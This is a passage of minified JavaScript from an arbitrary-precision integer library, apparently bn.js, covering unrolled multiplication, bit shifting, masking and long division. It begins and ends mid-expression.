Math.imul(I3, q2) | 0) + Math.imul(y3, z2) | 0, i3 = i3 + Math.imul(y3, q2) | 0, n3 = n3 + Math.imul(f3, V2) | 0, A3 = (A3 = A3 + Math.imul(f3, W2) | 0) + Math.imul(p3, V2) | 0, i3 = i3 + Math.imul(p3, W2) | 0; - var mt2 = (c3 + (n3 = n3 + Math.imul(g3, $2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, tt2) | 0) + Math.imul(u3, $2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, tt2) | 0) + (A3 >>> 13) | 0) + (mt2 >>> 26) | 0, mt2 &= 67108863, n3 = Math.imul(Q2, L2), A3 = (A3 = Math.imul(Q2, O2)) + Math.imul(b2, L2) | 0, i3 = Math.imul(b2, O2), n3 = n3 + Math.imul(w3, K2) | 0, A3 = (A3 = A3 + Math.imul(w3, J2) | 0) + Math.imul(v3, K2) | 0, i3 = i3 + Math.imul(v3, J2) | 0, n3 = n3 + Math.imul(m3, z2) | 0, A3 = (A3 = A3 + Math.imul(m3, q2) | 0) + Math.imul(B3, z2) | 0, i3 = i3 + Math.imul(B3, q2) | 0, n3 = n3 + Math.imul(I3, V2) | 0, A3 = (A3 = A3 + Math.imul(I3, W2) | 0) + Math.imul(y3, V2) | 0, i3 = i3 + Math.imul(y3, W2) | 0, n3 = n3 + Math.imul(f3, $2) | 0, A3 = (A3 = A3 + Math.imul(f3, tt2) | 0) + Math.imul(p3, $2) | 0, i3 = i3 + Math.imul(p3, tt2) | 0; - var Bt2 = (c3 + (n3 = n3 + Math.imul(g3, rt2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, nt2) | 0) + Math.imul(u3, rt2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, nt2) | 0) + (A3 >>> 13) | 0) + (Bt2 >>> 26) | 0, Bt2 &= 67108863, n3 = Math.imul(D2, L2), A3 = (A3 = Math.imul(D2, O2)) + Math.imul(S2, L2) | 0, i3 = Math.imul(S2, O2), n3 = n3 + Math.imul(Q2, K2) | 0, A3 = (A3 = A3 + Math.imul(Q2, J2) | 0) + Math.imul(b2, K2) | 0, i3 = i3 + Math.imul(b2, J2) | 0, n3 = n3 + Math.imul(w3, z2) | 0, A3 = (A3 = A3 + Math.imul(w3, q2) | 0) + Math.imul(v3, z2) | 0, i3 = i3 + Math.imul(v3, q2) | 0, n3 = n3 + Math.imul(m3, V2) | 0, A3 = (A3 = A3 + Math.imul(m3, W2) | 0) + Math.imul(B3, V2) | 0, i3 = i3 + Math.imul(B3, W2) | 0, n3 = n3 + Math.imul(I3, $2) | 0, A3 = (A3 = A3 + Math.imul(I3, tt2) | 0) + Math.imul(y3, $2) | 0, i3 = i3 + Math.imul(y3, tt2) | 0, n3 = n3 + Math.imul(f3, rt2) | 0, A3 = (A3 = A3 + Math.imul(f3, nt2) | 0) + Math.imul(p3, rt2) | 0, i3 = i3 + Math.imul(p3, nt2) | 0; - var Et2 = (c3 + (n3 = n3 + Math.imul(g3, it2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ot2) | 0) + Math.imul(u3, it2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ot2) | 0) + (A3 >>> 13) | 0) + (Et2 >>> 26) | 0, Et2 &= 67108863, n3 = Math.imul(M2, L2), A3 = (A3 = Math.imul(M2, O2)) + Math.imul(x2, L2) | 0, i3 = Math.imul(x2, O2), n3 = n3 + Math.imul(D2, K2) | 0, A3 = (A3 = A3 + Math.imul(D2, J2) | 0) + Math.imul(S2, K2) | 0, i3 = i3 + Math.imul(S2, J2) | 0, n3 = n3 + Math.imul(Q2, z2) | 0, A3 = (A3 = A3 + Math.imul(Q2, q2) | 0) + Math.imul(b2, z2) | 0, i3 = i3 + Math.imul(b2, q2) | 0, n3 = n3 + Math.imul(w3, V2) | 0, A3 = (A3 = A3 + Math.imul(w3, W2) | 0) + Math.imul(v3, V2) | 0, i3 = i3 + Math.imul(v3, W2) | 0, n3 = n3 + Math.imul(m3, $2) | 0, A3 = (A3 = A3 + Math.imul(m3, tt2) | 0) + Math.imul(B3, $2) | 0, i3 = i3 + Math.imul(B3, tt2) | 0, n3 = n3 + Math.imul(I3, rt2) | 0, A3 = (A3 = A3 + Math.imul(I3, nt2) | 0) + Math.imul(y3, rt2) | 0, i3 = i3 + Math.imul(y3, nt2) | 0, n3 = n3 + Math.imul(f3, it2) | 0, A3 = (A3 = A3 + Math.imul(f3, ot2) | 0) + Math.imul(p3, it2) | 0, i3 = i3 + Math.imul(p3, ot2) | 0; - var wt2 = (c3 + (n3 = n3 + Math.imul(g3, at2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ct2) | 0) + Math.imul(u3, at2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ct2) | 0) + (A3 >>> 13) | 0) + (wt2 >>> 26) | 0, wt2 &= 67108863, n3 = Math.imul(P2, L2), A3 = (A3 = Math.imul(P2, O2)) + Math.imul(T2, L2) | 0, i3 = Math.imul(T2, O2), n3 = n3 + Math.imul(M2, K2) | 0, A3 = (A3 = A3 + Math.imul(M2, J2) | 0) + Math.imul(x2, K2) | 0, i3 = i3 + Math.imul(x2, J2) | 0, n3 = n3 + Math.imul(D2, z2) | 0, A3 = (A3 = A3 + Math.imul(D2, q2) | 0) + Math.imul(S2, z2) | 0, i3 = i3 + Math.imul(S2, q2) | 0, n3 = n3 + Math.imul(Q2, V2) | 0, A3 = (A3 = A3 + Math.imul(Q2, W2) | 0) + Math.imul(b2, V2) | 0, i3 = i3 + Math.imul(b2, W2) | 0, n3 = n3 + Math.imul(w3, $2) | 0, A3 = (A3 = A3 + Math.imul(w3, tt2) | 0) + Math.imul(v3, $2) | 0, i3 = i3 + Math.imul(v3, tt2) | 0, n3 = n3 + Math.imul(m3, rt2) | 0, A3 = (A3 = A3 + Math.imul(m3, nt2) | 0) + Math.imul(B3, rt2) | 0, i3 = i3 + Math.imul(B3, nt2) | 0, n3 = n3 + Math.imul(I3, it2) | 0, A3 = (A3 = A3 + Math.imul(I3, ot2) | 0) + Math.imul(y3, it2) | 0, i3 = i3 + Math.imul(y3, ot2) | 0, n3 = n3 + Math.imul(f3, at2) | 0, A3 = (A3 = A3 + Math.imul(f3, ct2) | 0) + Math.imul(p3, at2) | 0, i3 = i3 + Math.imul(p3, ct2) | 0; - var vt2 = (c3 + (n3 = n3 + Math.imul(g3, gt2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, ut2) | 0) + Math.imul(u3, gt2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, ut2) | 0) + (A3 >>> 13) | 0) + (vt2 >>> 26) | 0, vt2 &= 67108863, n3 = Math.imul(U2, L2), A3 = (A3 = Math.imul(U2, O2)) + Math.imul(G2, L2) | 0, i3 = Math.imul(G2, O2), n3 = n3 + Math.imul(P2, K2) | 0, A3 = (A3 = A3 + Math.imul(P2, J2) | 0) + Math.imul(T2, K2) | 0, i3 = i3 + Math.imul(T2, J2) | 0, n3 = n3 + Math.imul(M2, z2) | 0, A3 = (A3 = A3 + Math.imul(M2, q2) | 0) + Math.imul(x2, z2) | 0, i3 = i3 + Math.imul(x2, q2) | 0, n3 = n3 + Math.imul(D2, V2) | 0, A3 = (A3 = A3 + Math.imul(D2, W2) | 0) + Math.imul(S2, V2) | 0, i3 = i3 + Math.imul(S2, W2) | 0, n3 = n3 + Math.imul(Q2, $2) | 0, A3 = (A3 = A3 + Math.imul(Q2, tt2) | 0) + Math.imul(b2, $2) | 0, i3 = i3 + Math.imul(b2, tt2) | 0, n3 = n3 + Math.imul(w3, rt2) | 0, A3 = (A3 = A3 + Math.imul(w3, nt2) | 0) + Math.imul(v3, rt2) | 0, i3 = i3 + Math.imul(v3, nt2) | 0, n3 = n3 + Math.imul(m3, it2) | 0, A3 = (A3 = A3 + Math.imul(m3, ot2) | 0) + Math.imul(B3, it2) | 0, i3 = i3 + Math.imul(B3, ot2) | 0, n3 = n3 + Math.imul(I3, at2) | 0, A3 = (A3 = A3 + Math.imul(I3, ct2) | 0) + Math.imul(y3, at2) | 0, i3 = i3 + Math.imul(y3, ct2) | 0, n3 = n3 + Math.imul(f3, gt2) | 0, A3 = (A3 = A3 + Math.imul(f3, ut2) | 0) + Math.imul(p3, gt2) | 0, i3 = i3 + Math.imul(p3, ut2) | 0; - var _t2 = (c3 + (n3 = n3 + Math.imul(g3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(g3, pt2) | 0) + Math.imul(u3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(u3, pt2) | 0) + (A3 >>> 13) | 0) + (_t2 >>> 26) | 0, _t2 &= 67108863, n3 = Math.imul(U2, K2), A3 = (A3 = Math.imul(U2, J2)) + Math.imul(G2, K2) | 0, i3 = Math.imul(G2, J2), n3 = n3 + Math.imul(P2, z2) | 0, A3 = (A3 = A3 + Math.imul(P2, q2) | 0) + Math.imul(T2, z2) | 0, i3 = i3 + Math.imul(T2, q2) | 0, n3 = n3 + Math.imul(M2, V2) | 0, A3 = (A3 = A3 + Math.imul(M2, W2) | 0) + Math.imul(x2, V2) | 0, i3 = i3 + Math.imul(x2, W2) | 0, n3 = n3 + Math.imul(D2, $2) | 0, A3 = (A3 = A3 + Math.imul(D2, tt2) | 0) + Math.imul(S2, $2) | 0, i3 = i3 + Math.imul(S2, tt2) | 0, n3 = n3 + Math.imul(Q2, rt2) | 0, A3 = (A3 = A3 + Math.imul(Q2, nt2) | 0) + Math.imul(b2, rt2) | 0, i3 = i3 + Math.imul(b2, nt2) | 0, n3 = n3 + Math.imul(w3, it2) | 0, A3 = (A3 = A3 + Math.imul(w3, ot2) | 0) + Math.imul(v3, it2) | 0, i3 = i3 + Math.imul(v3, ot2) | 0, n3 = n3 + Math.imul(m3, at2) | 0, A3 = (A3 = A3 + Math.imul(m3, ct2) | 0) + Math.imul(B3, at2) | 0, i3 = i3 + Math.imul(B3, ct2) | 0, n3 = n3 + Math.imul(I3, gt2) | 0, A3 = (A3 = A3 + Math.imul(I3, ut2) | 0) + Math.imul(y3, gt2) | 0, i3 = i3 + Math.imul(y3, ut2) | 0; - var Qt2 = (c3 + (n3 = n3 + Math.imul(f3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(f3, pt2) | 0) + Math.imul(p3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(p3, pt2) | 0) + (A3 >>> 13) | 0) + (Qt2 >>> 26) | 0, Qt2 &= 67108863, n3 = Math.imul(U2, z2), A3 = (A3 = Math.imul(U2, q2)) + Math.imul(G2, z2) | 0, i3 = Math.imul(G2, q2), n3 = n3 + Math.imul(P2, V2) | 0, A3 = (A3 = A3 + Math.imul(P2, W2) | 0) + Math.imul(T2, V2) | 0, i3 = i3 + Math.imul(T2, W2) | 0, n3 = n3 + Math.imul(M2, $2) | 0, A3 = (A3 = A3 + Math.imul(M2, tt2) | 0) + Math.imul(x2, $2) | 0, i3 = i3 + Math.imul(x2, tt2) | 0, n3 = n3 + Math.imul(D2, rt2) | 0, A3 = (A3 = A3 + Math.imul(D2, nt2) | 0) + Math.imul(S2, rt2) | 0, i3 = i3 + Math.imul(S2, nt2) | 0, n3 = n3 + Math.imul(Q2, it2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ot2) | 0) + Math.imul(b2, it2) | 0, i3 = i3 + Math.imul(b2, ot2) | 0, n3 = n3 + Math.imul(w3, at2) | 0, A3 = (A3 = A3 + Math.imul(w3, ct2) | 0) + Math.imul(v3, at2) | 0, i3 = i3 + Math.imul(v3, ct2) | 0, n3 = n3 + Math.imul(m3, gt2) | 0, A3 = (A3 = A3 + Math.imul(m3, ut2) | 0) + Math.imul(B3, gt2) | 0, i3 = i3 + Math.imul(B3, ut2) | 0; - var bt2 = (c3 + (n3 = n3 + Math.imul(I3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(I3, pt2) | 0) + Math.imul(y3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(y3, pt2) | 0) + (A3 >>> 13) | 0) + (bt2 >>> 26) | 0, bt2 &= 67108863, n3 = Math.imul(U2, V2), A3 = (A3 = Math.imul(U2, W2)) + Math.imul(G2, V2) | 0, i3 = Math.imul(G2, W2), n3 = n3 + Math.imul(P2, $2) | 0, A3 = (A3 = A3 + Math.imul(P2, tt2) | 0) + Math.imul(T2, $2) | 0, i3 = i3 + Math.imul(T2, tt2) | 0, n3 = n3 + Math.imul(M2, rt2) | 0, A3 = (A3 = A3 + Math.imul(M2, nt2) | 0) + Math.imul(x2, rt2) | 0, i3 = i3 + Math.imul(x2, nt2) | 0, n3 = n3 + Math.imul(D2, it2) | 0, A3 = (A3 = A3 + Math.imul(D2, ot2) | 0) + Math.imul(S2, it2) | 0, i3 = i3 + Math.imul(S2, ot2) | 0, n3 = n3 + Math.imul(Q2, at2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ct2) | 0) + Math.imul(b2, at2) | 0, i3 = i3 + Math.imul(b2, ct2) | 0, n3 = n3 + Math.imul(w3, gt2) | 0, A3 = (A3 = A3 + Math.imul(w3, ut2) | 0) + Math.imul(v3, gt2) | 0, i3 = i3 + Math.imul(v3, ut2) | 0; - var kt2 = (c3 + (n3 = n3 + Math.imul(m3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(m3, pt2) | 0) + Math.imul(B3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(B3, pt2) | 0) + (A3 >>> 13) | 0) + (kt2 >>> 26) | 0, kt2 &= 67108863, n3 = Math.imul(U2, $2), A3 = (A3 = Math.imul(U2, tt2)) + Math.imul(G2, $2) | 0, i3 = Math.imul(G2, tt2), n3 = n3 + Math.imul(P2, rt2) | 0, A3 = (A3 = A3 + Math.imul(P2, nt2) | 0) + Math.imul(T2, rt2) | 0, i3 = i3 + Math.imul(T2, nt2) | 0, n3 = n3 + Math.imul(M2, it2) | 0, A3 = (A3 = A3 + Math.imul(M2, ot2) | 0) + Math.imul(x2, it2) | 0, i3 = i3 + Math.imul(x2, ot2) | 0, n3 = n3 + Math.imul(D2, at2) | 0, A3 = (A3 = A3 + Math.imul(D2, ct2) | 0) + Math.imul(S2, at2) | 0, i3 = i3 + Math.imul(S2, ct2) | 0, n3 = n3 + Math.imul(Q2, gt2) | 0, A3 = (A3 = A3 + Math.imul(Q2, ut2) | 0) + Math.imul(b2, gt2) | 0, i3 = i3 + Math.imul(b2, ut2) | 0; - var Dt2 = (c3 + (n3 = n3 + Math.imul(w3, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(w3, pt2) | 0) + Math.imul(v3, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(v3, pt2) | 0) + (A3 >>> 13) | 0) + (Dt2 >>> 26) | 0, Dt2 &= 67108863, n3 = Math.imul(U2, rt2), A3 = (A3 = Math.imul(U2, nt2)) + Math.imul(G2, rt2) | 0, i3 = Math.imul(G2, nt2), n3 = n3 + Math.imul(P2, it2) | 0, A3 = (A3 = A3 + Math.imul(P2, ot2) | 0) + Math.imul(T2, it2) | 0, i3 = i3 + Math.imul(T2, ot2) | 0, n3 = n3 + Math.imul(M2, at2) | 0, A3 = (A3 = A3 + Math.imul(M2, ct2) | 0) + Math.imul(x2, at2) | 0, i3 = i3 + Math.imul(x2, ct2) | 0, n3 = n3 + Math.imul(D2, gt2) | 0, A3 = (A3 = A3 + Math.imul(D2, ut2) | 0) + Math.imul(S2, gt2) | 0, i3 = i3 + Math.imul(S2, ut2) | 0; - var St2 = (c3 + (n3 = n3 + Math.imul(Q2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(Q2, pt2) | 0) + Math.imul(b2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(b2, pt2) | 0) + (A3 >>> 13) | 0) + (St2 >>> 26) | 0, St2 &= 67108863, n3 = Math.imul(U2, it2), A3 = (A3 = Math.imul(U2, ot2)) + Math.imul(G2, it2) | 0, i3 = Math.imul(G2, ot2), n3 = n3 + Math.imul(P2, at2) | 0, A3 = (A3 = A3 + Math.imul(P2, ct2) | 0) + Math.imul(T2, at2) | 0, i3 = i3 + Math.imul(T2, ct2) | 0, n3 = n3 + Math.imul(M2, gt2) | 0, A3 = (A3 = A3 + Math.imul(M2, ut2) | 0) + Math.imul(x2, gt2) | 0, i3 = i3 + Math.imul(x2, ut2) | 0; - var Nt2 = (c3 + (n3 = n3 + Math.imul(D2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(D2, pt2) | 0) + Math.imul(S2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(S2, pt2) | 0) + (A3 >>> 13) | 0) + (Nt2 >>> 26) | 0, Nt2 &= 67108863, n3 = Math.imul(U2, at2), A3 = (A3 = Math.imul(U2, ct2)) + Math.imul(G2, at2) | 0, i3 = Math.imul(G2, ct2), n3 = n3 + Math.imul(P2, gt2) | 0, A3 = (A3 = A3 + Math.imul(P2, ut2) | 0) + Math.imul(T2, gt2) | 0, i3 = i3 + Math.imul(T2, ut2) | 0; - var Mt2 = (c3 + (n3 = n3 + Math.imul(M2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(M2, pt2) | 0) + Math.imul(x2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(x2, pt2) | 0) + (A3 >>> 13) | 0) + (Mt2 >>> 26) | 0, Mt2 &= 67108863, n3 = Math.imul(U2, gt2), A3 = (A3 = Math.imul(U2, ut2)) + Math.imul(G2, gt2) | 0, i3 = Math.imul(G2, ut2); - var xt2 = (c3 + (n3 = n3 + Math.imul(P2, ft2) | 0) | 0) + ((8191 & (A3 = (A3 = A3 + Math.imul(P2, pt2) | 0) + Math.imul(T2, ft2) | 0)) << 13) | 0; - c3 = ((i3 = i3 + Math.imul(T2, pt2) | 0) + (A3 >>> 13) | 0) + (xt2 >>> 26) | 0, xt2 &= 67108863; - var Ft2 = (c3 + (n3 = Math.imul(U2, ft2)) | 0) + ((8191 & (A3 = (A3 = Math.imul(U2, pt2)) + Math.imul(G2, ft2) | 0)) << 13) | 0; - return c3 = ((i3 = Math.imul(G2, pt2)) + (A3 >>> 13) | 0) + (Ft2 >>> 26) | 0, Ft2 &= 67108863, a3[0] = dt2, a3[1] = It2, a3[2] = yt2, a3[3] = Ct2, a3[4] = mt2, a3[5] = Bt2, a3[6] = Et2, a3[7] = wt2, a3[8] = vt2, a3[9] = _t2, a3[10] = Qt2, a3[11] = bt2, a3[12] = kt2, a3[13] = Dt2, a3[14] = St2, a3[15] = Nt2, a3[16] = Mt2, a3[17] = xt2, a3[18] = Ft2, 0 !== c3 && (a3[19] = c3, r5.length++), r5; - }; - function d2(t4, e4, r5) { - r5.negative = e4.negative ^ t4.negative, r5.length = t4.length + e4.length; - for (var n3 = 0, A3 = 0, i3 = 0; i3 < r5.length - 1; i3++) { - var o3 = A3; - A3 = 0; - for (var s3 = 67108863 & n3, a3 = Math.min(i3, e4.length - 1), c3 = Math.max(0, i3 - t4.length + 1); c3 <= a3; c3++) { - var h3 = i3 - c3, g3 = (0 | t4.words[h3]) * (0 | e4.words[c3]), u3 = 67108863 & g3; - s3 = 67108863 & (u3 = u3 + s3 | 0), A3 += (o3 = (o3 = o3 + (g3 / 67108864 | 0) | 0) + (u3 >>> 26) | 0) >>> 26, o3 &= 67108863; - } - r5.words[i3] = s3, n3 = o3, o3 = A3; - } - return 0 !== n3 ? r5.words[i3] = n3 : r5.length--, r5._strip(); - } - function I2(t4, e4, r5) { - return d2(t4, e4, r5); - } - Math.imul || (p2 = f2), A2.prototype.mulTo = function(t4, e4) { - var r5 = this.length + t4.length; - return 10 === this.length && 10 === t4.length ? p2(this, t4, e4) : r5 < 63 ? f2(this, t4, e4) : r5 < 1024 ? d2(this, t4, e4) : I2(this, t4, e4); - }, A2.prototype.mul = function(t4) { - var e4 = new A2(null); - return e4.words = new Array(this.length + t4.length), this.mulTo(t4, e4); - }, A2.prototype.mulf = function(t4) { - var e4 = new A2(null); - return e4.words = new Array(this.length + t4.length), I2(this, t4, e4); - }, A2.prototype.imul = function(t4) { - return this.clone().mulTo(t4, this); - }, A2.prototype.imuln = function(t4) { - var e4 = t4 < 0; - e4 && (t4 = -t4), r4("number" == typeof t4), r4(t4 < 67108864); - for (var n3 = 0, A3 = 0; A3 < this.length; A3++) { - var i3 = (0 | this.words[A3]) * t4, o3 = (67108863 & i3) + (67108863 & n3); - n3 >>= 26, n3 += i3 / 67108864 | 0, n3 += o3 >>> 26, this.words[A3] = 67108863 & o3; - } - return 0 !== n3 && (this.words[A3] = n3, this.length++), e4 ? this.ineg() : this; - }, A2.prototype.muln = function(t4) { - return this.clone().imuln(t4); - }, A2.prototype.sqr = function() { - return this.mul(this); - }, A2.prototype.isqr = function() { - return this.imul(this.clone()); - }, A2.prototype.pow = function(t4) { - var e4 = function(t5) { - for (var e5 = new Array(t5.bitLength()), r6 = 0; r6 < e5.length; r6++) { - var n4 = r6 / 26 | 0, A3 = r6 % 26; - e5[r6] = t5.words[n4] >>> A3 & 1; - } - return e5; - }(t4); - if (0 === e4.length) - return new A2(1); - for (var r5 = this, n3 = 0; n3 < e4.length && 0 === e4[n3]; n3++, r5 = r5.sqr()) - ; - if (++n3 < e4.length) - for (var i3 = r5.sqr(); n3 < e4.length; n3++, i3 = i3.sqr()) - 0 !== e4[n3] && (r5 = r5.mul(i3)); - return r5; - }, A2.prototype.iushln = function(t4) { - r4("number" == typeof t4 && t4 >= 0); - var e4, n3 = t4 % 26, A3 = (t4 - n3) / 26, i3 = 67108863 >>> 26 - n3 << 26 - n3; - if (0 !== n3) { - var o3 = 0; - for (e4 = 0; e4 < this.length; e4++) { - var s3 = this.words[e4] & i3, a3 = (0 | this.words[e4]) - s3 << n3; - this.words[e4] = a3 | o3, o3 = s3 >>> 26 - n3; - } - o3 && (this.words[e4] = o3, this.length++); - } - if (0 !== A3) { - for (e4 = this.length - 1; e4 >= 0; e4--) - this.words[e4 + A3] = this.words[e4]; - for (e4 = 0; e4 < A3; e4++) - this.words[e4] = 0; - this.length += A3; - } - return this._strip(); - }, A2.prototype.ishln = function(t4) { - return r4(0 === this.negative), this.iushln(t4); - }, A2.prototype.iushrn = function(t4, e4, n3) { - var A3; - r4("number" == typeof t4 && t4 >= 0), A3 = e4 ? (e4 - e4 % 26) / 26 : 0; - var i3 = t4 % 26, o3 = Math.min((t4 - i3) / 26, this.length), s3 = 67108863 ^ 67108863 >>> i3 << i3, a3 = n3; - if (A3 -= o3, A3 = Math.max(0, A3), a3) { - for (var c3 = 0; c3 < o3; c3++) - a3.words[c3] = this.words[c3]; - a3.length = o3; - } - if (0 === o3) - ; - else if (this.length > o3) - for (this.length -= o3, c3 = 0; c3 < this.length; c3++) - this.words[c3] = this.words[c3 + o3]; - else - this.words[0] = 0, this.length = 1; - var h3 = 0; - for (c3 = this.length - 1; c3 >= 0 && (0 !== h3 || c3 >= A3); c3--) { - var g3 = 0 | this.words[c3]; - this.words[c3] = h3 << 26 - i3 | g3 >>> i3, h3 = g3 & s3; - } - return a3 && 0 !== h3 && (a3.words[a3.length++] = h3), 0 === this.length && (this.words[0] = 0, this.length = 1), this._strip(); - }, A2.prototype.ishrn = function(t4, e4, n3) { - return r4(0 === this.negative), this.iushrn(t4, e4, n3); - }, A2.prototype.shln = function(t4) { - return this.clone().ishln(t4); - }, A2.prototype.ushln = function(t4) { - return this.clone().iushln(t4); - }, A2.prototype.shrn = function(t4) { - return this.clone().ishrn(t4); - }, A2.prototype.ushrn = function(t4) { - return this.clone().iushrn(t4); - }, A2.prototype.testn = function(t4) { - r4("number" == typeof t4 && t4 >= 0); - var e4 = t4 % 26, n3 = (t4 - e4) / 26, A3 = 1 << e4; - return !(this.length <= n3) && !!(this.words[n3] & A3); - }, A2.prototype.imaskn = function(t4) { - r4("number" == typeof t4 && t4 >= 0); - var e4 = t4 % 26, n3 = (t4 - e4) / 26; - if (r4(0 === this.negative, "imaskn works only with positive numbers"), this.length <= n3) - return this; - if (0 !== e4 && n3++, this.length = Math.min(n3, this.length), 0 !== e4) { - var A3 = 67108863 ^ 67108863 >>> e4 << e4; - this.words[this.length - 1] &= A3; - } - return this._strip(); - }, A2.prototype.maskn = function(t4) { - return this.clone().imaskn(t4); - }, A2.prototype.iaddn = function(t4) { - return r4("number" == typeof t4), r4(t4 < 67108864), t4 < 0 ? this.isubn(-t4) : 0 !== this.negative ? 1 === this.length && (0 | this.words[0]) <= t4 ? (this.words[0] = t4 - (0 | this.words[0]), this.negative = 0, this) : (this.negative = 0, this.isubn(t4), this.negative = 1, this) : this._iaddn(t4); - }, A2.prototype._iaddn = function(t4) { - this.words[0] += t4; - for (var e4 = 0; e4 < this.length && this.words[e4] >= 67108864; e4++) - this.words[e4] -= 67108864, e4 === this.length - 1 ? this.words[e4 + 1] = 1 : this.words[e4 + 1]++; - return this.length = Math.max(this.length, e4 + 1), this; - }, A2.prototype.isubn = function(t4) { - if (r4("number" == typeof t4), r4(t4 < 67108864), t4 < 0) - return this.iaddn(-t4); - if (0 !== this.negative) - return this.negative = 0, this.iaddn(t4), this.negative = 1, this; - if (this.words[0] -= t4, 1 === this.length && this.words[0] < 0) - this.words[0] = -this.words[0], this.negative = 1; - else - for (var e4 = 0; e4 < this.length && this.words[e4] < 0; e4++) - this.words[e4] += 67108864, this.words[e4 + 1] -= 1; - return this._strip(); - }, A2.prototype.addn = function(t4) { - return this.clone().iaddn(t4); - }, A2.prototype.subn = function(t4) { - return this.clone().isubn(t4); - }, A2.prototype.iabs = function() { - return this.negative = 0, this; - }, A2.prototype.abs = function() { - return this.clone().iabs(); - }, A2.prototype._ishlnsubmul = function(t4, e4, n3) { - var A3, i3, o3 = t4.length + n3; - this._expand(o3); - var s3 = 0; - for (A3 = 0; A3 < t4.length; A3++) { - i3 = (0 | this.words[A3 + n3]) + s3; - var a3 = (0 | t4.words[A3]) * e4; - s3 = ((i3 -= 67108863 & a3) >> 26) - (a3 / 67108864 | 0), this.words[A3 + n3] = 67108863 & i3; - } - for (; A3 < this.length - n3; A3++) - s3 = (i3 = (0 | this.words[A3 + n3]) + s3) >> 26, this.words[A3 + n3] = 67108863 & i3; - if (0 === s3) - return this._strip(); - for (r4(-1 === s3), s3 = 0, A3 = 0; A3 < this.length; A3++) - s3 = (i3 = -(0 | this.words[A3]) + s3) >> 26, this.words[A3] = 67108863 & i3; - return this.negative = 1, this._strip(); - }, A2.prototype._wordDiv = function(t4, e4) { - var r5 = (this.length, t4.length), n3 = this.clone(), i3 = t4, o3 = 0 | i3.words[i3.length - 1]; - 0 !== (r5 = 26 - this._countBits(o3)) && (i3 = i3.ushln(r5), n3.iushln(r5), o3 = 0 | i3.words[i3.length - 1]); - var s3, a3 = n3.length - i3.length; - if ("mod" !== e4) { - (s3 = new A2(null)).length = a3 + 1, s3.words = new Array(s3.length); - for (var c3 = 0; c3 < s3.length; c3++) - s3.words[c3] = 0; - } - var h3 = n3.clone()._ishlnsubmul(i3, 1, a3); - 0 === h3.negative && (n3 = h3, s3 && (s3.words[a3] = 1)); - for (var g3 = a3 - 1; g3 >= 0; g3--) { - var u3 = 67108864 * (0 | n3.words[i3.length + g3]) + (0 | n3.words[i3.length + g3 - 1]); - for (u3 = Math.min(u3 / o3 | 0, 67108863), n3._ishlnsubmul(i3, u3, g3); 0 !== n3.negative; ) - u3--, n3.negative = 0, n3._ishlnsubmul(i3, 1, g3), n3.isZero() || (n3.negative ^= 1); - s3 && (s3.words[g3] = u3); - } - return s3 && s3._strip(), n3._strip(), "div" !== e4 && 0 !== r5 && n3.iushrn(r5), { div: s3 || null, mod: n3 }; - }, A2.prototype.divmod = function(t4, e4, n3) { - return r4(!t4.isZero()), this.isZero() ? { div: new A2(0), mod: new A2(0) } : 0 !== this.negative && 0 === t4.negative ? (s3 = this.neg().divmod(t4, e4), "mod" !== e4 && (i3 = s3.div.neg()), "div" !== e4 && (o3 = s3.mod.neg(), n3 && 0 !== o3.negative && o3.iadd(t4)), { div: i3, mod: o3 }) : 0 === this.negative && 0 !== t4.negative ? (s3 = this.divmod(t4.neg(), e4), "mod" !== e4 && (i3 = s3.div.neg()), { div: i3, mod: s3.mod }) : this.negative & t4.negative ? (s3 = this.neg().divmod(t4.neg(), e4), "div" !== e4 && (o3 = s3.mod.neg(), n3 && 0 !== o3.negative && o3.isub(t4)), { div: s3.div, mod: o3 }) : t4.length > this.length || this.cmp(t4) < 0 ? { div: new A2(0), mod: this } : 1 === t4.length ? "div" === e4 ? { div: this.divn(t4.words[0]), mod: null } : "mod" === e4 ? { div: null, mod: new A2(this.modrn(t4.words[0])) } : { div: this.divn(t4.words[0]), mod: new A2(this.modrn(t4.words[0])) } : this._wordDiv(t4, e4); - var i3, o3, s3; - }, A2.prototype.div = function(t4) { - return this.divmod(t4, "div", false).div; - }, A2.prototype.mod = function(t4) { - return this.divmod(t4, "mod", false).mod; - }, A2.prototype.umod = function(t4) { - return this.divmod(t4, "mod", true).mod; - }, A2.prototype.divRound = function(t4) { - var e4 = this.divmod(t4); - if (e4.mod.isZero()) - return e4.div; - var r5 = 0 !== e4.div.negative ? e4.mod.isub(t4) : e4.mod, n3 = t4.ushrn(1), A3 = t4.andln(1), i3 = r5.cmp(n3); - return i3 < 0 || 1 === A3 && 0 === i3 ? e4.div : 0 !== e4.div.negative ? e4.div.isubn(1) : 